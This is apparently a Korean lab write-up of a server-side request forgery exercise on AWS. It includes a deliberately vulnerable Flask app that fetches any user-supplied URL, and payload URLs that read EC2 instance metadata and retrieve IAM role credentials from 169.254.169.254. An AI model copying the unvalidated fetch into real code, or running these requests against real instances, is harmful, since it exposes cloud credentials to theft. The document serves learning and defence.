AWS-SSRF를 읽고 실습해봅시다.
RCE 까진 안해봤고 SSRF 까지만 따라 해봤습니다.
Get AWS EC2 Meta-data
AWS의 EC2 Instance Meta-data는 실행 중인 Instance를 구성 또는 관리하는 데 사용될 수 있는 Instance 관련 데이터입니다.
대부분의 AWS EC2 Instance Meta-data는 http://169.254.169.254를 통해 접근할 수 있습니다. -> 여기에는 IP 주소, 보안 그룹 이름 등과 같은 Instance에 대한 유용한 정보가 포함됩니다.
EC2 instance에 IAM Role을 할당되게 된다면, 이 Role이 갖게 되는 권한을 Instance Meta-data를 통해 획득할 수 있습니다.
Pratice
Example Code
예제 코드는 단순히 url 변수를 받아 urlopen으로 url을 읽어 그결과를 보여줍니다.
SSRF에 취약합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask, request
import urllib
from urllib import parse
app = Flask(__name__)
@app.route("/", methods=["GET"])
def route():
url = request.args.get("url")
if url:
try:
req = urllib.request.Request(url)
with urllib.request.urlopen(req) as response:
data = response.read()
except:
return "Error"
return data
else:
return "Require URL parameter."
app.run(host='0.0.0.0', port=5001)
Access Meta-data
SSRF 공격이 가능할 때 url=http://169.254.169.254/latest/meta-data
을 넣게 되면 아래와 같이 meta-data
에 접근할 수 있습니다.
만약 iam 디렉토리가 없다면, Instance에 IAM Role을 할당했는지 확인해야합니다.
Check Assigned IAM Role
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
를 통해 IAM Role 확인이 가능합니다.
Obtain IAM Credentials
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/test131_web_iam
를 통해 IAM 자격증명을 얻을 수 있습니다.
Reference
- https://core-research-team.github.io/2022-11-01/AWS-Instance-Meta-data-SSRF-to-RCE